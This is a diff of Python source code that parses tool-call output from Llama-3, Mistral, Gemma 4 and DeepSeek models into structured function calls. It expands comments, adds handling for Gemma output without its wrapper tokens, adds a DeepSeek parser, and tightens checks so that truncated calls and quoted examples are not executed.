-    """Parse Llama-3 ``<|python_tag|>`` emissions: ``NAME.call(...)``, bare JSON, ``; `` multi-call, ``parameters``/``arguments`` keys."""
+    """Parse the Llama-3 emissions: ``<|python_tag|>NAME.call(...)`` (built-in),
+    ``<|python_tag|>{"name":..., "parameters":...}`` (custom), multi-call via
+    ``; ``, ``parameters`` or ``arguments`` key."""
     out: list[dict] = []
     if _LLAMA3_PYTHON_TAG not in content:
         return out
 
-    # 1. ``NAME.call(...)`` built-in form, anchored to ``<|python_tag|>`` (optionally
-    #    ``; ``-chained) so a ``.call(...)`` inside a JSON string argument isn't mistaken for one.
+    # 1. ``NAME.call(...)`` built-in form, anchored to ``<|python_tag|>`` and optionally
+    #    ``; ``-chained within one emission. Anchoring to the tag boundary (not a free scan)
+    #    keeps a literal ``<|python_tag|>x.call(...)`` quoted in a custom-form JSON argument
+    #    from being mistaken for a real built-in call.
     pos = content.find(_LLAMA3_PYTHON_TAG)
     truncated = False
     while pos >= 0 and not truncated:
@@ -824,7 +1320,8 @@ def _parse_llama3_python_tag(
                         if depth == 0:
                             break
                 i += 1
-            # Truncated ``.call(...)`` (no closing paren): reject in strict mode.
+            # Truncated ``.call(...)`` with no closing paren: reject in strict mode
+            # instead of executing a partial.
             if not allow_incomplete and depth > 0:
                 truncated = True
                 break
@@ -848,7 +1345,8 @@ def _parse_llama3_python_tag(
         # Past the consumed region: a second ``<|python_tag|>`` may carry more calls.
         pos = content.find(_LLAMA3_PYTHON_TAG, i + 1)
 
-    # 2. ``<|python_tag|>{"name":.., "parameters":..}``; raw_decode peels ``; ``-separated objects.
+    # 2. ``<|python_tag|>{"name":..., "parameters":...}``. ``raw_decode`` peels multiple
+    #    ``; ``-separated objects from one emission.
     if not out:
         decoder = json.JSONDecoder()
         idx = content.find(_LLAMA3_PYTHON_TAG)
@@ -873,12 +1371,14 @@ def _parse_llama3_python_tag(
                     continue
                 name = obj.get("name") or obj.get("function") or ""
                 args = obj.get("parameters") if "parameters" in obj else obj.get("arguments", {})
+                # Skip rather than fabricate ``{"value": args}`` for a non-dict/non-string value.
                 if isinstance(args, dict):
                     args_str = json.dumps(args)
                 elif isinstance(args, str):
                     args_str = args
                 else:
-                    args_str = json.dumps({"value": args})
+                    cursor = brace + end_offset
+                    continue
                 if name:
                     out.append(
                         {
@@ -892,7 +1392,8 @@ def _parse_llama3_python_tag(
     return out
 
 
-# Llama-3 special-token sentinels (chainable, any order) plus the header role label.
+# Llama-3 special-token sentinels (chainable, any order) plus the role label the
+# template inserts between ``<|start_header_id|>`` and ``<|end_header_id|>``.
 _LLAMA3_BARE_JSON_SENTINELS = (
     "<|begin_of_text|>",
     "<|eot_id|>",
@@ -904,7 +1405,10 @@ _LLAMA3_HEADER_ROLES = ("assistant", "user", "system", "tool", "ipython")
 
 
 def strip_llama3_leading_sentinels(content: str) -> str:
-    """Strip leading Llama-3 sentinels leaked from a prior turn; shared by the parser and the streaming guards."""
+    """Strip leading Llama-3 special-token sentinels (and the role label after
+    ``<|start_header_id|>``) that can leak from a prior turn before a bare-JSON tool
+    call. Shared by the parser and the streaming buffering guards so a
+    sentinel-prefixed ``{"name":...}`` is recognised the same everywhere."""
     stripped = content.lstrip()
     while True:
         stripped = stripped.lstrip()
@@ -930,7 +1434,9 @@ def _parse_llama3_bare_json(
     allow_incomplete: bool = True,
     enabled_tool_names: Optional[set] = None,
 ) -> list[dict]:
-    """Llama-3.2 bare ``{"name":.., "parameters":..}`` (strict). ``enabled_tool_names`` keeps ordinary JSON answers from being misread; ``None`` is name-agnostic."""
+    """Llama-3.2 ``custom_tools`` bare ``{"name":.., "parameters":{..}}`` (no ``<|python_tag|>``),
+    strict so prose/echoes don't fire. ``enabled_tool_names`` gates on the parsed name so an
+    ordinary JSON answer isn't misread as a call to a disabled tool; ``None`` is name-agnostic."""
     out: list[dict] = []
     stripped = strip_llama3_leading_sentinels(content)
     if not stripped.startswith("{"):
@@ -954,11 +1460,12 @@ def _parse_llama3_bare_json(
         name = obj.get("name") or obj.get("function") or ""
         if not isinstance(name, str) or not name:
             break
-        # Markerless JSON is ambiguous: only a call when the name is an enabled tool.
+        # Markerless JSON is ambiguous: treat it as a call only when the name is an enabled
+        # tool, else it is an ordinary JSON answer.
         if enabled_tool_names is not None and name not in enabled_tool_names:
             break
-        # ``parameters`` must be a dict (Llama-3 spec); ``arguments`` may be a dict or a
-        # JSON-string of one (OpenAI).
+        # ``parameters`` must be a dict (Llama-3 spec); ``arguments`` may be a dict or
+        # JSON-string of one (OpenAI). Looser would fire on ``{"name":"x","parameters":"sentence"}``.
         if "parameters" in obj:
             args = obj.get("parameters")
             if not isinstance(args, dict):
@@ -997,14 +1504,15 @@ def _parse_mistral_tool_calls(
     id_offset: int,
     allow_incomplete: bool = True,
 ) -> list[dict]:
-    """Parse Mistral ``[TOOL_CALLS]`` emissions: pre-v11 array/object and v11+ named forms."""
+    """Parse all Mistral emissions: pre-v11 ``[TOOL_CALLS][...]`` / ``[TOOL_CALLS]{...}``
+    and v11+ ``[TOOL_CALLS]name{json}`` / ``[TOOL_CALLS]name[ARGS]{json}``."""
     out: list[dict] = []
     content = _strip_mistral_reasoning(content)
     idx = content.find(_MISTRAL_TRIGGER)
     if idx < 0:
         return out
 
-    # Disambiguate the first occurrence: array / single object (pre-v11) or bare-name (v11+).
+    # Disambiguate the first occurrence: array / single object (pre-v11), or bare-name (v11+).
     j = idx + len(_MISTRAL_TRIGGER)
     k = j
     while k < len(content) and content[k] in " \t\n\r":
@@ -1016,7 +1524,7 @@ def _parse_mistral_tool_calls(
         return _parse_mistral_array(content, k, id_offset, allow_incomplete = allow_incomplete)
 
     if content[k] == "{":
-        # Pre-v11 single ``{"name":...}``; fall through to v11+ if it carries no ``name``.
+        # Pre-v11 single ``{"name":...}``; fall through without a ``name`` so v11+ still runs.
         end = _balanced_brace_end(content, k)
         if end is not None:
             try:
@@ -1027,7 +1535,8 @@ def _parse_mistral_tool_calls(
             except (json.JSONDecodeError, ValueError):
                 pass
 
-    # v11+: walk every ``[TOOL_CALLS]``, parsing ``name{json}`` or ``name[ARGS]{json}``.
+    # v11+: walk every ``[TOOL_CALLS]``, parsing ``name{json}`` or
+    # ``name[ARGS]{json}`` after each trigger.
     pos = idx
     while pos >= 0:
         cur = pos + len(_MISTRAL_TRIGGER)
@@ -1101,7 +1610,8 @@ def _parse_mistral_array(
                 if depth == 0:
                     break
         j += 1
-    # An unclosed array (no matching ]) is truncated; reject in strict mode.
+    # An unclosed array (no matching ]) is a truncated call. In strict mode reject it
+    # instead of recovering objects by hand below.
     if not allow_incomplete and depth != 0:
         return out
     body = content[start : j + 1] if depth == 0 else content[start:]
@@ -1117,8 +1627,8 @@ def _parse_mistral_array(
         if not allow_incomplete:
             return out
 
-    # Healing path for unclosed arrays: walk top-level objects, advancing past each
-    # balanced ``{...}`` (re-scanning from every ``{`` would be quadratic ReDoS).
+    # Healing path for unclosed arrays: walk top-level objects, advancing past each balanced
+    # ``{...}`` instead of re-scanning from every ``{`` (quadratic ReDoS).
     pos = 0
     blen = len(body)
     while pos < blen:
@@ -1141,7 +1651,8 @@ def _consume_mistral_call(obj_text: str, out: list[dict], id_offset: int) -> Non
     if not isinstance(obj, dict):
         return
     name = obj.get("name") or ""
-    # Mistral uses ``arguments``; accept the ``parameters`` alias too.
+    # Mistral uses ``arguments``; accept the ``parameters`` alias too (sibling paths and
+    # SGLang's base detector alias it) so an array object keyed on it keeps args.
     args = obj.get("arguments")
     if args is None:
         args = obj.get("parameters", {})
@@ -1161,28 +1672,86 @@ def _consume_mistral_call(obj_text: str, out: list[dict], id_offset: int) -> Non
         )
 
 
+def _whole_content_is_json_value(text: str) -> bool:
+    """True when the entire content is one valid JSON value (a structured
+    answer, e.g. a response_format turn). Markerless scans must treat text
+    inside it as data: an answer documenting an enabled tool's syntax must
+    not execute that tool or have the example stripped from display."""
+    t = text.strip()
+    if t[:1] not in "{[":
+        return False
+    try:
+        json.loads(t)
+    except ValueError:
+        return False
+    return True
+
+
+def _leading_json_value_end(text: str) -> int | None:
+    """End index (exclusive) of a balanced LEADING JSON value that parses as
+    JSON: a structured answer possibly followed by prose. Markerless scans treat
+    its contents as data (extends ``_whole_content_is_json_value``); leading-keyed,
+    so a JSON blob mid-prose is not an answer span."""
+    i = 0
+    n = len(text)
+    while i < n and text[i].isspace():
+        i += 1
+    if i >= n or text[i] not in "{[":
+        return None
+    end = (_balanced_brace_end if text[i] == "{" else _balanced_bracket_end)(text, i)
+    if end is None:
+        return None
+    try:
+        json.loads(text[i : end + 1])
+    except ValueError:
+        return None
+    return end + 1
+
+
 def _parse_gemma_tool_calls(
     content: str,
     *,
     id_offset: int,
     allow_incomplete: bool = True,
+    enabled_tool_names: Optional[set] = None,
 ) -> list[dict]:
-    """Gemma 4: ``<|tool_call>call:NAME{k:<|"|>v<|"|>, ...}<tool_call|>``."""
+    """Gemma 4: ``<|tool_call>call:NAME{k:<|"|>v<|"|>, ...}<tool_call|>``, plus the
+    ``skip_special_tokens`` stream where the wrapper and string markers were
+    stripped (bare ``call:NAME{k:v, ...}``).
+
+    ``enabled_tool_names`` gates on the parsed name: the wrapper-less shape is
+    indistinguishable from prose documenting the syntax, so a disabled/example
+    name must not be stolen as a call. ``None`` keeps the name-agnostic behaviour."""
     out: list[dict] = []
-    for m in _GEMMA_TC_RE.finditer(content):
+    # The WRAPPED form (strict + nested-marker handling) is tool_healing's, which runs
+    # first: defer content with a wrapped opener. A marker literal alone is not enough --
+    # a wrapper-less call mentioning ``<|tool_call>`` would be lost if deferred.
+    if _GEMMA_TC_RE.search(content):
+        return out
+    # A whole-content JSON value is a structured answer: quoted examples must not become calls.
+    if _whole_content_is_json_value(content):
+        return out
+    # Manual cursor: resume AFTER each consumed balanced body so a nested ``call:OTHER{...}``
+    # in an argument is never re-matched. A leading JSON answer's span is data -- scan after it.
+    cursor = _leading_json_value_end(content) or 0
+    while True:
+        m = _GEMMA_BARE_TC_RE.search(content, cursor)
+        if m is None:
+            break
         name = m.group(1)
         body_start = m.end() - 1
-        end_marker = content.find(_GEMMA_TC_END, body_start)
-        # No closing <tool_call|> tag: truncated call, reject in strict mode.
-        if not allow_incomplete and end_marker < 0:
-            continue
-        scan_end = end_marker if end_marker >= 0 else len(content)
-        end = _gemma_balanced_brace_end(content, body_start, scan_end)
+        end = _gemma_body_brace_end(content, body_start)
         if end is None:
+            # Unclosed call: nothing parseable follows (mirrors the strip contract);
+            # scanning on would promote quoted argument text.
+            break
+        cursor = end + 1
+        # Markerless: a disabled/example name is prose, not a call.
+        if enabled_tool_names is not None and name not in enabled_tool_names:
             continue
         body = content[body_start + 1 : end]
         try:
-            args = _gemma_parse_mapping_body(body)
+            args = _gemma_parse_stripped_body(body)
         except Exception:
             args = {}
         out.append(
@@ -1225,11 +1794,54 @@ def _balanced_brace_end(text: str, brace_pos: int) -> int | None:
     return None
 
 
+def _gemma_body_brace_end(text: str, brace_pos: int) -> int | None:
+    """Index of the ``}`` closing the wrapper-less Gemma body at ``brace_pos``.
+
+    Values are raw after ``skip_special_tokens``, so quoted strings (single or
+    double) hide braces; the quote rules mirror ``_gemma_parse_stripped_body`` so
+    the boundary always agrees with the body parser. Contextual openers: a single
+    quote opens only at value-start context (after ``:{[(,=`` -- apostrophes in
+    ``what's the weather`` are prose), a double quote also at word start (so
+    ``query:find "a, b"`` hides its delimiters)."""
+    if brace_pos >= len(text) or text[brace_pos] != "{":
+        return None
+    depth = 0
+    quote = ""
+    prev = ""
+    prev_raw = ""
+    i = brace_pos
+    n = len(text)
+    while i < n:
+        ch = text[i]
+        if quote:
+            if ch == "\\" and i + 1 < n:
+                i += 2
+                continue
+            if ch == quote:
+                quote = ""
+        elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+            quote = ch
+        elif ch == "{":
+            depth += 1
+        elif ch == "}":
+            depth -= 1
+            if depth == 0:
+                return i
+        if not ch.isspace():
+            prev = ch
+        prev_raw = ch
+        i += 1
+    return None
+
+
 _BARE_JSON_NAME_RE = re.compile(r'"name"\s*:\s*"([^"]+)"')
 
 
 def _top_level_bare_json_name(probe: str) -> Optional[str]:
-    """Top-level ``"name"`` (or ``"function"`` alias) of a bare-JSON object, else None; nested objects are skipped and truncated tails return None."""
+    """TOP-LEVEL ``"name"`` (or ``"function"`` alias, name wins) of a bare-JSON object, else None.
+
+    Skips nested objects/arrays so a nested ``"name"`` isn't mistaken for the call name; a
+    truncated tail returns None so the caller keeps the text."""
     if not probe.startswith("{"):
         return None
     decoder = json.JSONDecoder()
@@ -1240,7 +1852,7 @@ def _top_level_bare_json_name(probe: str) -> Optional[str]:
         while i < n and probe[i] in " \t\r\n,":
             i += 1
         if i >= n or probe[i] == "}":
-            # End of object, no top-level ``"name"``: fall back to the ``"function"`` alias.
+            # End of the object with no top-level ``"name"``: fall back to a recorded ``"function"`` alias.
             return function_value
         if probe[i] != '"':
             return None
@@ -1267,7 +1879,8 @@ def _top_level_bare_json_name(probe: str) -> Optional[str]:
                 return value if isinstance(value, str) else None
             return None
         if key == "function" and function_value is None and i < n and probe[i] == '"':
-            # ``"function"`` is an alias; record it but keep scanning (``"name"`` wins).
+            # ``"function"`` aliases the call name. Record it but keep scanning: a top-level
+            # ``"name"`` still wins.
             try:
                 value, consumed = decoder.raw_decode(probe[i:])
             except (json.JSONDecodeError, ValueError):
@@ -1276,7 +1889,8 @@ def _top_level_bare_json_name(probe: str) -> Optional[str]:
                 function_value = value
             i += consumed
             continue
-        # Skip a non-name top-level value; a truncated one returns None (keep the text).
+        # Skip a non-name top-level value; a truncated one can't prove a top-level name
+        # exists, so return None (keep the text).
         if i < n and probe[i] == "{":
             end = _balanced_brace_end(probe, i)
             if end is None:
@@ -1314,16 +1928,18 @@ def strip_leading_bare_json_call(text: str, enabled_tool_names: Optional[set] =
         if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
             return probe.lstrip() if stripped_any else text
         if enabled_tool_names is not None:
-            # Only suppress when the leading object's TOP-LEVEL name is an enabled tool
-            # (a nested ``"name"`` is data); an unknown name is kept.
+            # Only suppress when the leading object's TOP-LEVEL name is an enabled tool. A
+            # nested ``"name"`` (e.g. {"result":{"name":"web_search",...}}) is data, not the
+            # call name, so it must not gate the strip. An un-extractable name is kept.
             name = _top_level_bare_json_name(probe)
             if name not in enabled_tool_names:
                 return probe.lstrip() if stripped_any else text
         end = _balanced_brace_end(probe, 0)
         if end is None:
             return ""  # truncated bare-JSON call -- nothing recoverable
-        # A closed object must have the CALL SHAPE the parser accepts; an ordinary JSON
-        # answer it rejects is content, so keep it visible.
+        # A closed object must have the CALL SHAPE the parser accepts (dict ``parameters``,
+        # or dict / JSON-string ``arguments``). An ordinary JSON answer like
+        # {"name":"web_search","result":"no call"} is content, so the strip keeps it visible.
         try:
             obj = json.loads(probe[: end + 1])
         except (json.JSONDecodeError, ValueError):
@@ -1338,7 +1954,8 @@ def _bare_json_call_shaped(obj) -> bool:
     """The shape gate ``_parse_llama3_bare_json`` applies to a decoded object."""
     if not isinstance(obj, dict):
         return False
-    # The parser requires a TOP-LEVEL name; a nested one is data, not the call name.
+    # The parser requires a TOP-LEVEL name; a nested one (e.g. in a "result" value of an
+    # ordinary JSON answer) is data, and stripping it name-agnostically would delete content.
     name = obj.get("name") or obj.get("function") or ""
     if not isinstance(name, str) or not name:
         return False
@@ -1379,101 +1996,670 @@ def _gemma_balanced_brace_end(text: str, brace_pos: int, hard_stop: int) -> int
     return None
 
 
-def _gemma_parse_value(text: str, i: int):
-    """Parse one Gemma arg value at ``i``; returns ``(value, next_index)``."""
+def _gemma_parse_value(
+    text: str,
+    i: int,
+    *,
+    in_mapping: bool = False,
+):
+    """Parse one Gemma arg value at ``i`` in a single O(n) forward pass; returns
+    ``(value, next_index, closed)``. ``closed`` is False when a string/object/array
+    runs off the end without its terminator, so the caller can fall back to raw.
+    ``in_mapping`` applies the top-level rule that a comma only ends the value
+    when a ``key:`` follows (array elements split on every top-level comma)."""
     if text.startswith(_GEMMA_STR_BEGIN, i):
         close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
         if close < 0:
-            return text[i + len(_GEMMA_STR_BEGIN) :], len(text)
-        return text[i + len(_GEMMA_STR_BEGIN) : close], close + len(_GEMMA_STR_END)
+            return text[i + len(_GEMMA_STR_BEGIN) :], len(text), False
+        return text[i + len(_GEMMA_STR_BEGIN) : close], close + len(_GEMMA_STR_END), True
     if text[i] == "{":
-        end = _gemma_balanced_brace_end(text, i, len(text))
-        if end is None:
-            return {}, len(text)
-        return _gemma_parse_mapping_body(text[i + 1 : end]), end + 1
+        return _gemma_parse_mapping(text, i)
     if text[i] == "[":
-        j, depth = i, 0
-        while j < len(text):
-            if text.startswith(_GEMMA_STR_BEGIN, j):
-                k = text.find(_GEMMA_STR_END, j + len(_GEMMA_STR_BEGIN))
-                if k < 0:
-                    j = len(text)
-                    break
-                j = k + len(_GEMMA_STR_END)
+        return _gemma_parse_array(text, i)
+    if text[i] in "\"'":
+        # Raw-quoted string: delimiters inside are data (``{city:"New, York"}`` is one
+        # value); returned unquoted like the top-level scalar coercion.
+        quote = text[i]
+        j = i + 1
+        n = len(text)
+        while j < n:
+            if text[j] == "\\" and j + 1 < n:
+                j += 2
                 continue
-            ch = text[j]
-            if ch == "[":
-                depth += 1
-            elif ch == "]":
-                depth -= 1
-                if depth == 0:
-                    break
+            if text[j] == quote:
+                return text[i + 1 : j], j + 1, True
             j += 1
-        body = text[i + 1 : j]
-        items: list[Any] = []
-        k = 0
-        while k < len(body):
-            if body[k] in " \t\n\r,":
-                k += 1
-                continue
-            v, k = _gemma_parse_value(body, k)
-            items.append(v)
-        return items, j + 1
-    # Primitive: number / true/false/null / bare identifier.
+        return text[i + 1 :], n, False
+    # Primitive / unquoted code: same delimiter rules as the top-level scan (bracket depth
+    # + contextual quote openers hide commas and closers).
     end = i
-    while end < len(text) and text[end] not in ",}]" and not text.startswith(_GEMMA_STR_BEGIN, end):
+    n = len(text)
+    depth = 0
+    quote = ""
+    prev = ":"
+    prev_raw = ":"
+    while end < n and not text.startswith(_GEMMA_STR_BEGIN, end):
+        ch = text[end]
+        if quote:
+            if ch == "\\" and end + 1 < n:
+                end += 2
+                continue
+            if ch == quote:
+                quote = ""
+        elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+            quote = ch
+        elif ch in "{[(":
+            depth += 1
+        elif ch in "}])":
+            if depth == 0:
+                break
+            depth -= 1
+        elif ch == "," and depth == 0:
+            if not in_mapping or _GEMMA_KEY_RE.match(text, end + 1):
+                break
+        if not ch.isspace():
+            prev = ch
+        prev_raw = ch
         end += 1
     if end == i:
-        # Stray delimiter, nothing consumed: advance past it so callers can't spin forever.
-        return "", i + 1
+        # Stray delimiter where a value was expected: consume one char so callers always
+        # advance (no infinite loop on malformed input).
+        return "", i + 1, True
     raw = text[i:end].strip()
     if raw == "true":
-        return True, end
+        return True, end, True
     if raw == "false":
-        return False, end
+        return False, end, True
     if raw == "null":
-        return None, end
+        return None, end, True
     try:
-        return int(raw), end
+        return int(raw), end, True
     except ValueError:
         pass
     try:
-        return float(raw), end
+        return float(raw), end, True
     except ValueError:
         pass
-    return raw, end
+    return raw, end, True
 
 
-def _gemma_parse_mapping_body(body: str) -> dict[str, Any]:
-    """Parse a Gemma argument mapping (content between `{` and `}`)."""
-    out: dict[str, Any] = {}
-    i = 0
-    n = len(body)
+def _gemma_parse_array(text: str, start: int):
+    """Parse a Gemma ``[...]`` array at ``text[start] == '['`` in one forward
+    pass; returns ``(list, next_index, closed)``."""
+    items: list[Any] = []
+    i, n = start + 1, len(text)
     while i < n:
-        while i < n and body[i] in " \t\n\r,":
+        while i < n and text[i] in " \t\n\r,":
             i += 1
+        if i < n and text[i] == "]":
+            return items, i + 1, True
         if i >= n:
             break
-        if body.startswith(_GEMMA_STR_BEGIN, i):
-            close = body.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
+        v, i, _closed = _gemma_parse_value(text, i)
+        items.append(v)
+    return items, i, False
+
+
+def _gemma_coerce_scalar(raw: str) -> Any:
+    """Coerce an unquoted Gemma value to bool/int/float/None, else keep str
+    (quotes stripped first so quoted/unquoted variants compare identical)."""
+    raw = raw.strip()
+    if len(raw) >= 2 and raw[0] == raw[-1] and raw[0] in "\"'":
+        return raw[1:-1]
+    if raw == "true":
+        return True
+    if raw == "false":
+        return False
+    if raw == "null":
+        return None
+    try:
+        return int(raw)
+    except ValueError:
+        pass
+    try:
+        return float(raw)
+    except ValueError:
+        pass
+    return raw
+
+
+def _gemma_strip_quoted_leaves(value: Any) -> Any:
+    """Recursively unquote quoted string leaves of a nested stripped-stream value,
+    so nested ``city:"New York"`` matches the top-level coercion (no stray quotes)."""
+    if isinstance(value, str):
+        v = value.strip()
+        if len(v) >= 2 and v[0] == v[-1] and v[0] in "\"'":
+            return v[1:-1]
+        return value
+    if isinstance(value, dict):
+        return {k: _gemma_strip_quoted_leaves(v) for k, v in value.items()}
+    if isinstance(value, list):
+        return [_gemma_strip_quoted_leaves(v) for v in value]
+    return value
+
+
+def _gemma_parse_stripped_body(body: str) -> dict[str, Any]:
+    """Parse a quote-less Gemma arg body ``key:value, key2:value2`` (the
+    ``skip_special_tokens`` stream with ``<|"|>`` markers removed). Each value runs
+    to the next top-level ``, key:`` boundary, tracking ``{}``/``[]``/``()`` depth so
+    commas/braces inside a ``code`` / ``command`` value aren't truncated."""
+    out: dict[str, Any] = {}
+    i, n = 0, len(body)
+    while i < n:
+        m = _GEMMA_KEY_RE.match(body, i)
+        if not m:
+            break
+        key = m.group(1)
+        i = m.end()
+        vstart = i
+        depth = 0
+        quote = ""
+        # Contextual quote openers mirror _gemma_body_brace_end.
+        prev = ":"
+        prev_raw = ":"
+        while i < n:
+            ch = body[i]
+            if quote:
+                # A ``, key:`` shape inside the quoted string is not a boundary.
+                if ch == "\\" and i + 1 < n:
+                    i += 2
+                    continue
+                if ch == quote:
+                    quote = ""
+            elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+                quote = ch
+            elif ch in "{[(":
+                depth += 1
+            elif ch in "}])":
+                if depth > 0:
+                    depth -= 1
+            elif ch == "," and depth == 0 and _GEMMA_KEY_RE.match(body, i + 1):
+                break
+            if not ch.isspace():
+                prev = ch
+            prev_raw = ch
+            i += 1
+        raw_val = body[vstart:i].strip()
+        if raw_val[:1] in "{[":
+            # Nested object/array: accept only a fully consumed, closed parse; a
+            # truncated/malformed value falls back to the raw string.
+            parsed, end, closed = _gemma_parse_value(raw_val, 0)
+            out[key] = (
+                _gemma_strip_quoted_leaves(parsed)
+                if (closed and end == len(raw_val))
+                else _gemma_coerce_scalar(raw_val)
+            )
+        else:
+            out[key] = _gemma_coerce_scalar(raw_val)
+        if i < n and body[i] == ",":
+            i += 1
+    return out
+
+
+def _gemma_parse_mapping(text: str, start: int):
+    """Parse a Gemma ``{key:value, ...}`` mapping at ``text[start] == '{'`` in one
+    forward pass; returns ``(dict, next_index, closed)`` (``closed`` True iff the
+    matching ``}`` was reached)."""
+    out: dict[str, Any] = {}
+    i, n = start + 1, len(text)
+    while i < n:
+        while i < n and text[i] in " \t\n\r,":
+            i += 1
+        if i < n and text[i] == "}":
+            return out, i + 1, True
+        if i >= n:
+            break
+        if text.startswith(_GEMMA_STR_BEGIN, i):
+            close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
             if close < 0:
                 break
-            key = body[i + len(_GEMMA_STR_BEGIN) : close]
+            key = text[i + len(_GEMMA_STR_BEGIN) : close]
             i = close + len(_GEMMA_STR_END)
         else:
             kstart = i
-            while i < n and body[i] != ":":
+            while i < n and text[i] not in ":}":
                 i += 1
-            key = body[kstart:i].strip()
-        while i < n and body[i] in " \t\n\r":
+            key = text[kstart:i].strip()
+        while i < n and text[i] in " \t\n\r":
             i += 1
-        if i < n and body[i] == ":":
+        if i < n and text[i] == ":":
             i += 1
-        while i < n and body[i] in " \t\n\r":
+        while i < n and text[i] in " \t\n\r":
             i += 1
         if i >= n:
             out[key] = None
             break
-        v, i = _gemma_parse_value(body, i)
+        if text[i] == "}":
+            out[key] = None
+            return out, i + 1, True
+        v, i, _closed = _gemma_parse_value(text, i, in_mapping = True)
         out[key] = v
+    return out, i, False
+
+
+# ── DeepSeek R1 / V3 / V3.1 ─────────────────────────────────────────
+
+
+def _find_outside_json_strings(text: str, needle: str, start: int) -> int:
+    """Index of ``needle`` at/after ``start`` OUTSIDE any JSON string, or -1: a
+    marker inside an argument string must not be taken as the structural terminator."""
+    i = start
+    n = len(text)
+    in_string = False
+    esc = False
+    while i < n:
+        ch = text[i]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+            i += 1
+            continue
+        if ch == '"':
+            in_string = True
+            i += 1
+            continue
+        if text.startswith(needle, i):
+            return i
+        i += 1
+    return -1
+
+
+def _parse_deepseek_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """DeepSeek R1 / V3 / V3.1.
+
+    R1:    ``<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>NAME\\n``\\`\\`\\`json\\n{...}\\n\\`\\`\\`<｜tool▁call▁end｜>...``
+    V3.x:  ``<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>NAME<｜tool▁sep｜>{json}<｜tool▁call▁end｜>...``
+
+    Mirrors llama.cpp's pre-autoparser ``common_chat_parse_deepseek_r1`` /
+    ``_v3_1`` handling; tolerates the 5 opener variants llama.cpp keeps.
+    """
+    out: list[dict] = []
+    begin = _DEEPSEEK_BEGIN_RE.search(content)
+    if not begin:
+        return out
+    scan_start = begin.end()
+    # Envelope end OUTSIDE JSON strings: an argument may contain the literal end token,
+    # and a raw find would truncate the call.
+    end_pos = _find_outside_json_strings(content, _DEEPSEEK_END, scan_start)
+    # Strict mode: an unclosed envelope is truncated; reject, don't heal to EOF.
+    if not allow_incomplete and end_pos < 0:
+        return out
+    scan_end = end_pos if end_pos >= 0 else len(content)
+    body = content[scan_start:scan_end]
+
+    # R1 path first: ``function<｜tool▁sep｜>NAME\n```json\n{...}\n```<｜tool▁call▁end｜>``.
+    pos = 0
+    while pos < len(body):
+        fpos = body.find(_DEEPSEEK_R1_FUNC_MARKER, pos)
+        if fpos < 0:
+            break
+        name_start = fpos + len(_DEEPSEEK_R1_FUNC_MARKER)
+        nl = body.find("\n", name_start)
+        if nl < 0:
+            break
+        if not body.startswith(_DEEPSEEK_R1_FENCE, nl):
+            pos = name_start
+            continue
+        name = body[name_start:nl].strip()
+        json_start = nl + len(_DEEPSEEK_R1_FENCE)
+        # Walk a balanced ``{`` even if the trailing fence is truncated.
+        if json_start >= len(body) or body[json_start] != "{":
+            pos = json_start
+            continue
+        brace_end = _balanced_brace_end(body, json_start)
+        if brace_end is None:
+            break
+        try:
+            args = json.loads(body[json_start : brace_end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = brace_end + 1
+            continue
+        if not isinstance(args, dict):
+            pos = brace_end + 1
+            continue
+        # The closing fence + <｜tool▁call▁end｜> must IMMEDIATELY follow the JSON, else an
+        # unbounded search lands on a LATER call's terminator. Absent close: heal past the
+        # JSON (strict rejects); later well-formed calls are still kept.
+        after = brace_end + 1
+        while after < len(body) and body[after] in " \t\r\n":
+            after += 1
+        close_m = _DEEPSEEK_R1_CLOSE_RE.match(body, after)
+        if not allow_incomplete and close_m is None:
+            pos = brace_end + 1
+            continue
+        if name:
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        pos = close_m.end() if close_m else brace_end + 1
+    if out:
+        return out
+
+    # V3 / V3.1: name then bare JSON. Use ``str.find`` for the sep marker and walk
+    # back for the name (a ``[^\n<]+`` regex search is O(N^2) on truncated bodies).
+    pos = 0
+    while pos < len(body):
+        sep_pos = body.find(_DEEPSEEK_SEP, pos)
+        if sep_pos < 0:
+            break
+        # Walk left from sep_pos to the name start; stop at ``\n`` (turn boundary), ``<``
+        # (tag start), or ``>`` (end of an optional ``<｜tool▁call▁begin｜>``).
+        name_start = sep_pos
+        while name_start > pos and body[name_start - 1] not in "\n<>":
+            name_start -= 1
+        name = body[name_start:sep_pos].strip()
+        json_start = sep_pos + len(_DEEPSEEK_SEP)
+        while json_start < len(body) and body[json_start] in " \t\n\r":
+            json_start += 1
+        if json_start >= len(body) or body[json_start] != "{":
+            pos = sep_pos + len(_DEEPSEEK_SEP)
+            continue
+        brace_end = _balanced_brace_end(body, json_start)
+        if brace_end is None:
+            break
+        # Strict mode: a real V3 call closes with the per-call <｜tool▁call▁end｜>; without
+        # it the call is truncated/merged, so skip it but keep scanning for a later
+        # well-formed call (matches Kimi strict).
+        if not allow_incomplete:
+            after = brace_end + 1
+            while after < len(body) and body[after] in " \t\r\n":
+                after += 1
+            if not body.startswith(_DEEPSEEK_CALL_END, after):
+                pos = brace_end + 1
+                continue
+        try:
+            args = json.loads(body[json_start : brace_end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = brace_end + 1
+            continue
+        if not isinstance(args, dict):
+            pos = brace_end + 1
+            continue
+        if name:
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        # Advance just past the JSON; seeking the optional <｜tool▁call▁end｜> could land on
+        # a LATER call's end marker and skip the call between.
